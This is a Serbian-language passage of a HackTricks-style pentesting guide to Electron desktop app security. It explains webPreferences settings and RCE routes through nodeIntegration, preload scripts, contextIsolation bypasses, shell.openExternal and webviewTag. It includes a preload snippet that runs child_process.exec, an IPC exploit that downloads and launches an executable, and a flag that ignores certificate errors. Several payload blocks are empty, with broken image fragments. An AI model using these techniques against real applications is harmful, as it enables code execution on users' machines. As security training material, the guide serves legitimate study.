# Electron Desktop aplikacije
{{#include ../../../banners/hacktricks-training.md}}
## Uvod
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki sigurnosni mehanizmi modernih pregledača.
Obično možete pronaći kod Electron aplikacije unutar `.asar` fajla; da biste dobili kod, potrebno je da ga izdvojite:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
U izvornom kodu Electron aplikacije, u datoteci `packet.json`, može se naći naveden fajl `main.js` u kojem su podešene sigurnosne konfiguracije.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron ima 2 tipa procesa:
- Glavni proces (ima potpuni pristup NodeJS)
- Renderer proces (trebalo bi da ima ograničen pristup NodeJS iz bezbednosnih razloga)
.png>)
**Renderer proces** će biti prozor pregledača koji učitava fajl:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Podešavanja **renderer procesa** mogu se **konfigurisati** u **main procesu** unutar fajla main.js. Neka podešavanja će **sprečiti Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno postavljena**.
Electron aplikacija **može pristupiti uređaju** preko Node apis, iako se to može konfigurisati da se spreči:
- **`nodeIntegration`** - je podrazumevano `off`. Ako je `on`, omogućava pristup node funkcijama iz renderer procesa.
- **`contextIsolation`** - je podrazumevano `on`. Ako je `off`, main i renderer procesi nisu izolovani.
- **`preload`** - podrazumevano prazan.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - podrazumevano je `off`. Ograničava akcije koje NodeJS može izvršavati.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`**- je podrazumevano `off`.
- Ako je **`nodeIntegration`** omogućen, to bi dozvolilo korišćenje **Node.js APIs** u web stranicama koje su **učitane u iframes** unutar Electron aplikacije.
- Ako je **`nodeIntegration`** onemogućen, tada će se preloads učitati u iframe
Example of configuration:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Neki **RCE payloads** iz [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### Snimanje saobraćaja
Izmenite konfiguraciju start-main i dodajte upotrebu proxy-ja, na primer:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Ako možete lokalno pokrenuti Electron App, moguće je da biste mogli naterati da izvrši proizvoljan javascript kod. Pogledajte kako u:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Ako je **nodeIntegration** postavljen na **on**, JavaScript na web stranici može lako koristiti Node.js funkcije samo pozivanjem `require()`. Na primer, način da se pokrene aplikacija calc na Windows je:
```html
```
## RCE: preload
Skript označen u ovom podešavanju se **učitava pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Dakle, skripta može da izveze node-features na stranice:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
Ako konteksti nisu izolovani, napadač može:
1. Execute **arbitrary JavaScript in renderer** (XSS ili navigaciju ka eksternim sajtovima)
2. **Overwrite the built-in method** koja se koristi u preload ili Electron internal code da bi preuzeo kontrolu nad funkcijom
3. **Trigger** upotrebu **overwritten function**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Zaobilaženje click event-a
Ako postoje ograničenja primenjena pri kliku na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto regularnog levog klika
```javascript
window.addEventListener('click', (e) => {
```
## RCE preko shell.openExternal
Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Prilikom deploy-a Electron desktop aplikacije, pravilna podešavanja za `nodeIntegration` i `contextIsolation` su ključna. Uspostavljeno je da **client-side remote code execution (RCE)** koja cilja preload scripts ili Electron native code iz main process-a bude efikasno sprečena kada su ova podešavanja uključena.
Kada korisnik interaguje sa linkovima ili otvara nova prozore, specifični event listeners se aktiviraju, koji su ključni za bezbednost i funkcionalnost aplikacije:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ovi slušači su **nadjačani od strane desktop aplikacije** da implementiraju sopstvenu **poslovnu logiku**. Aplikacija procenjuje da li link na koji se navigira treba biti otvoren interno ili u eksternom web pregledaču. Odluka se obično donosi kroz funkciju, `openInternally`. Ako ta funkcija vrati `false`, to pokazuje da link treba biti otvoren eksterno, koristeći funkciju `shell.openExternal`.
**Here is a simplified pseudocode:**
.png>)
.png>)
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
Na macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi, na primer: `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Primeri Windows protocol exploits uključuju:**
```html
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Ova ranjivost može se naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** je **zastarela funkcija** koja omogućava korišćenje **NodeJS** u **renderer process**-u, što bi trebalo onemogućiti jer dozvoljava učitavanje skripte unutar preload konteksta kao:
```xml
```
Dakle, napadač koji uspe da učita proizvoljnu stranicu mogao bi koristiti taj tag da **učita proizvoljan preload script**.
Ovu preload skriptu su potom zloupotrebili da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala pozivala **`shell.openExternal`** da dobije RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Čitanje unutrašnjih fajlova: XSS + `contextIsolation`
**Onemogućavanje `contextIsolation` omogućava korišćenje `` tagova**, slično `